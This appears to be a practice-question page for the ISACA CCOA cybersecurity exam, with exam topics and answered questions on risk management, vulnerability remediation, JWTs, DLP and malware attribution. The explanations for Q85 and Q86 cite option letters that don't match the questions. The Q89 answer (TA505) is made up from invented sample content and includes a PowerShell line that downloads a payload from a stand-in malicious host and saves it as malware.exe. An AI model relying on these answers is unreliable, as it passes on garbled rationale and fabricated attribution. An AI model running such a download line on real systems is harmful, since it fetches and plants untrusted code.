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ISACA CCOA Exam Syllabus Topics:

Topic	Details
Topic 1	• Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
Topic 2	• Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.
Topic 3	• Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.
Topic 4	• Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
Topic 5	• Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.

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ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q85-Q90):

NEW QUESTION # 85
Which of the following is MOST important for maintaining an effective risk management program?

- A. Automated reporting
- B. Ongoing review
- C. Monitoring regulations
- D. Approved budget

Answer: B

Explanation:
Maintaining an effectiverisk management programrequiresongoing reviewbecause:
* Dynamic Risk Landscape:Threats and vulnerabilities evolve, necessitating continuous reassessment.
* Policy and Process Updates:Regular review ensures that risk management practices stay relevant and effective.
* Performance Monitoring:Allows for the evaluation of control effectiveness and identification of areas for improvement.
* Regulatory Compliance:Ensures that practices remain aligned with evolving legal and regulatory requirements.
Other options analysis:
* A. Approved budget:Important for resource allocation, but not the core of continuous effectiveness.
* B. Automated reporting:Supports monitoring but does not replace comprehensive reviews.
* C. Monitoring regulations:Part of the review process but not the sole factor.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Risk Management Frameworks:Emphasizes the importance of continuous risk assessment.
* Chapter 7: Monitoring and Auditing:Describes maintaining a dynamic risk management process.

NEW QUESTION # 86
Which of the following is the PRIMARY reason for tracking the effectiveness of vulnerability remediation processes within an organization?

- A. To ensure employees responsible for patching vulnerabilities are actually doing their job correctly
- B. To reduce the likelihood of a threat actor successfully exploiting vulnerabilities In the organization's systems
- C. To provide reports to senior management so that they can justify the expense of vulnerability management tools
- D. To identify executives who are responsible for delaying patching and report them to the board

Answer: B

Explanation:
Theprimary reasonfor tracking the effectiveness of vulnerability remediation processes is toreduce the likelihood of successful exploitationby:
* Measuring Remediation Efficiency:Ensures that identified vulnerabilities are being fixed effectively and on time.
* Continuous Improvement:Identifies gaps in the remediation process, allowing for process enhancements.
* Risk Reduction:Reduces the organization's attack surface and mitigates potential threats.
* Accountability:Ensures that remediation efforts align with security policies and risk management strategies.
Other options analysis:
* A. Reporting to management:Important but not the primary reason.
* B. Identifying responsible executives:Not a valid security objective.
* C. Verifying employee tasks:Relevant for internal controls but not the core purpose.
CCOA Official Review Manual, 1st Edition References:

* Chapter 7: Vulnerability Remediation:Discusses the importance of measuring remediation effectiveness.
* Chapter 9: Incident Prevention:Highlights tracking remediation to minimize exploitation risks.

NEW QUESTION # 87
Which of the following BEST describes JSON web tokens?

- A. They can be used to store user Information and session data.
- B. They are signed using a public key and verified using a private key.
- C. They can only be used to authenticate users in web applications.
- D. They are only used with symmetric encryption.

Answer: A

Explanation:
JSON Web Tokens (JWTs)are used totransmit data between parties securely, often forauthentication and session management.
* Data Storage:JWTs can contain user information and session details within thepayloadsection.
* Stateless Authentication:Since the token itself holds the user data, servers do not need to store sessions.
* Signed, Not Encrypted:JWTs are typicallysigned using private keysto ensure integrity but may or may not be encrypted.
* Common Usage:API authentication, single sign-on (SSO), and user sessions in web applications.
Other options analysis:
* B. Only for authentication:JWTs can also carry claims for authorization or session data.
* C. Signed using public key:Usually, JWTs aresigned with a private keyandverified using a public key.
* D. Only symmetric encryption:JWTs can useboth symmetric (HMAC) and asymmetric (RSA/EC) algorithms.
CCOA Official Review Manual, 1st Edition References:
* Chapter 8: Authentication and Token Management:Explains the role of JWTs in secure data transmission.
* Chapter 9: API Security:Discusses the use of JWTs for secure API communication.

NEW QUESTION # 88
Which of the following should be completedFIRSTin a data loss prevention (OLP) system implementation project?

- A. Data analysis
- B. Resource allocation
- C. Data Inventory
- D. Deployment scheduling

Answer: C

Explanation:
Thefirst stepin aData Loss Prevention (DLP) implementationis to perform adata inventorybecause:
* Identification of Sensitive Data:Knowing what data needs protection is crucial before deploying DLP solutions.
* Classification and Prioritization:Helps in categorizing data based on sensitivity and criticality.
* Mapping Data Flows:Identifies where sensitive data resides and how it moves within the organization.
* Foundation for Policy Definition:Enables the creation of effective DLP policies tailored to the organization's needs.
Other options analysis:
* A. Deployment scheduling:Occurs after data inventory and planning.
* B. Data analysis:Follows the inventory to understand data use and flow.
* D. Resource allocation:Important but secondary to identifying what needs protection.
CCOA Official Review Manual, 1st Edition References:
* Chapter 6: Data Loss Prevention Strategies:Highlights data inventory as a foundational step.
* Chapter 7: Information Asset Management:Discusses how proper inventory supports DLP.

NEW QUESTION # 89
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?

Answer:

Explanation:

See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
* Log into the Analyst Desktopusing your credentials.
* Locate theMalware Samplesfolder on the desktop.
* Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
* Open the file using a text editor:
* OnWindows:Right-click > Open with > Notepad.
* OnLinux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
* Carefully read through the file content to identify:
* Anystrings or commentsembedded within the script.
* Specifickeywords,URLs, orfile hashes.
* Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
* Focus on:
* Unique Identifiers:Threat group names, malware family names, or specific markers.
* Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
* Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
Malware Script Sample
Payload linked to TA505 group
Invoke-WebRequest
-Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe" Step 4: Correlate with Threat Intelligence
* Use the following resources to correlate any discovered indicators:
* MITRE ATT&CK:To map the technique or tool.
* VirusTotal:To check file hashes or URLs.
* Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
* If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=")) Step 5: Identify the Threat Actor Group
* If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
* Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
* TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
* APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
* Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Final Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
* Include the following details:
* Filename:malscript.viruz.txt
* Associated Threat Group:TA505
* Key Indicators:Domain names, script functions, or specific malware traits.
* Generate an incident report summarizing your analysis.
Step 8: Next Steps
* Quarantine and Isolate:If the script was executed, isolate the affected system.
* Forensic Analysis:Deep dive into system logs for any signs of execution.
* Threat Hunting:Search for similar scripts or IOCs in the network.

NEW QUESTION # 90

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